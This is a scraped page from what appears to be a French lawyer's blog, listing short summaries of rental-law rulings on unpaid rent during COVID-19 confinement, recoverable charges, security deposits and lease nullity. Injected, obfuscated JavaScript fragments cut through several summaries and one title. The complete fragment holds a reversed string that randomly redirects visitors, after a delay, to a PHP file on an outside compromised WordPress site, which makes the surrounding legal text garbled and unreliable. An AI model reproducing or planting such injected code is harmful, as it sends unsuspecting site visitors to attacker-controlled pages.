Lemoine avocat

Baux d’habitation/Gestion locative

Confinement et impayés d’habitation

Confinement et impayés d’habitation

les locataires demeurent redevables des loyers liés à l’habitation Pendant ce second confinement lié à la pdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andémie COVID-19, les locataires demeurent redevables des loyers liés à…

Loyers commerciaux et confinement lié à la COVID-19

Loyers commerciaux et confinement lié à la COVID-19

Ordonnance de référé rendue le 30 juin 2020 Dans une ordonnance de référé rendue le 30 juin 2020 par le Président du Tribunal Judiciaire de Nanterre, le juge des référés s’est déclaré compétent pour statuer sur les impayés de loyers dus pendant la période du confinement. Le preneur, défendeur à…

Toiture végétalisée et charges récupérables

Toiture végétalisée et charges récupérables

Pas de charges récupérables pour une dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toiture végétalisée Une réponse ministérielle du 9 ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre 2018 précise que les dom() * 6); if…

Majoration et restitution du dépôt de garantie

Majoration et restitution du dépôt de garantie

Dépôt de Garantie Décision du Conseil Constitutionnel du 22 février 2019 Dans cette décision, le Conseil Constitutionnel a jugé que la majoration de 10% par mois de retard, en cas de restitution tardive du dépôt de garantie est conforme à la Constitution. Elle ne constitue ni une sanction ayant le…

Point de départ du délai de prescription en matière de charges récupérables en cas d’indu

Point de départ du délai de prescription en matière de charges récupérables en cas d’indu

Délai de prescription et charges récupérables (Cass., Civ., 3ème, 9 novembre 2017, n°16-22445) Dans cet arrêt, la Haute Juridiction, se fondant sur l’article 68 de la loi du 1er septembre 1948 et les articles L442-6 du CCH et l’article 2224 du code civil, juge que l’action en répétition des charges indûment…

dol commis par la locataire">Nullité du bail en raison du $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dol commis par la locataire

Nullité du bail en raison du dol commis par la locataire

(CA Rennes, 21 juin 2017, n°15/00841) La Cour d’appel de Rennes a prononcé la nullité d’un bail, le locataire ayant produit un titre de séjour sous une fausse identité. L’arrêt est ainsi motivé : « M. S., seul signataire du bail, ne justifie aucunement ni de la date de son arrivée en…